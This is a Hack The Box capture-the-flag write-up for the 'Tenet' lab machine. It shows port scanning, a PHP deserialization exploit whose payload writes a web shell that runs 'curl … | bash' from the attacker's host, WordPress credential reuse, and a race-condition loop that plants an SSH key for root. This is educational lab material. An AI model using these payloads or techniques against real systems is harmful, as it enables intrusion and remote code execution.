5ubterranean@home:~$

Tenet Writeup [HTB]

Tenet is Linux based machine that was active since January 16th of 2021 to June 12th, on this machine we will find a php file and its backup inside an Apache webserver, reviewing the code we will see that user input isn’t sanitized allowing us to perform PHP desrialization to get command execution, once inside the machine we will find the password of another user inside wordpress’s config file, this user can run as root a bash script that would allow us to add our own ssh public key as an authorized key for root user.

Enumeration

We start using masscan to find all the available ports and then use nmap to get more information about them.

masscan -e tun0 --rate=500 -p 0-65535 10.10.10.223
nmap -sC -sV -p 80,22, -Pn -o scan.txt 10.10.10.223

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is only two ports open, ssh and a webpage on port 80, if we check we find only the default apache page, so let’s use feroxbuster and see what we can find.

We find a directory called worpress, so we go to see what’s there.

The site says “Nothing here” and give us a link to “tenet.htb”, so we add it to our hosts file, exploring the site we find a comment that calls our attention.

There we see that a file, “sator php”, is mentioned, so we try to access to “sator.php” on different endpoints, we find it on “http://10.10.10.223/sator.php”, when we acces to it we get some lines.

The comment also talked about a backup file, and we find it on “http://10.10.10.223/sator.php.bak”.

Gaining Access

Now we have access to sator’s source code:

<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

As soon as we open the file a word calls our attention, unserialize, and on the class there is a magic method, __destruct, so the conditions for php deserialization are met. PHP deserialization allows us to call a function but manipulating some values, if we check the code it grabs some data and writes it to “users.txt”, if we go to “http://10.10.10.223/users.txt” we see that it exist, that means we can write to a file that is exposed through the web server, so let’s write a php file that serialiazes a function that writes a reverse shell to a file with php extension.

<?php

class DatabaseExport
{
        public $user_file='reaaaalylongtext.php';
        public $data='<?php system("curl 10.10.14.205:8000/shell.sh | bash")?>';
}

$out = new DatabaseExport();
echo serialize($out);
echo "\n";

?>

After executing it we get the string: O:14:"DatabaseExport":2:{s:9:"user_file";s:20:"reaaaalylongtext.php";s:4:"data";s:56:"<?php system("curl 10.10.14.205:8000/shell.sh | bash")?>";}, going back to the source code of sator, we see that the object to be deserialized is send through a GET request on arepo argument. We use burp to url encode the object and don’t have any problem sending it, so we end making a request to: http://10.10.10.223/sator.php?arepo=O%3a14%3a"DatabaseExport"%3a2%3a{s%3a9%3a"user_file"%3bs%3a20%3a"reaaaalylongtext.php"%3bs%3a4%3a"data"%3bs%3a56%3a"<%3fphp+system("curl+10.10.14.205%3a8000/shell.sh+|+bash")%3f>"%3b}

As usual the command retrieves the file shell.sh from a http server on port 8000, se let’s start a http server with python and then access to “http://10.10.10.223/reaaaalylongtext.php”, with that we get a shell to the machine.

Lateral Movement

We saw that there is a wordpress site, so let’s check its config file, it’s located at /var/www/html/wordpress/wp-config.php.

The user for the database is neil, there is also a user called neil, and he uses the same password, so we can access now through SSH and get the file user.txt.

Privilege Escalation

Let’s check if we can run anything with sudo.

We see that we can run /usr/local/bin/enableSSH.sh, with sudo, so let’s see what it does.

#!/bin/bash

checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
		/bin/echo "Successfully added $sshName to authorized_keys file!"
	else
		/bin/echo "Error in adding $sshName to authorized_keys file!"
	fi

}

checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
		/bin/echo "Error in creating key file!"
		if [[ -f $1 ]]; then /bin/rm $1; fi
		exit 1
	fi

}

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
	(umask 110; touch $tmpName)
	/bin/echo $key >>$tmpName
	checkFile $tmpName
	/bin/cat $tmpName >>/root/.ssh/authorized_keys
	/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

The file has the root ssh public key harcoded, it creates a file inside tmp folder that starts with “ssh-“ followed by a random chain, writes the public key on it, then sends its content to “/root/.ssh/authorized_keys” and erases the file, then it checks if “root@ubuntu” text is inside the authorized keys, if it finds it, it shows “Successfully added”, otherwise says “Error in adding”. We can clearly see a kind of race condition, since it writes a file to a public location and then it uses it to write on authorized keys we can modify that file so it adds our own key, we just have to be quick, also since the script appends to authorized_keys file rather than replacing it we can’t rely on the ouput message, since the root text found could be one that is on the file from before, so we just have to try to access after every execution. First we generate a pair of ssh keys, ssh-keygen, then we make a one liner that echoes the public key to any file that start with ssh, something like echo <public key> > ssh*, the problem with that is that it creates a file called “ssh*” if there isn’t any file starting with ssh, and if there is more than one file starting with ssh we get the error of ambiguos redirect, so to avoid that we always remove that file before running the echo, rm ssh\*, finally we just need to put that inside a while loop so those commands are running as fast as possible to catch the file that is written in /tmp: while true; do rm ssh\* 2> /dev/null;echo "<public key>" > ssh*;done. Now in other terminal (or in the same one if you backgrounded the last command adding “&” at the end) we run sudo enableSSH.sh, as I said before we can’t rely on its out, so we just have to test if we can ssh as root with our ssh private key, once we can get in we are finished with the machine.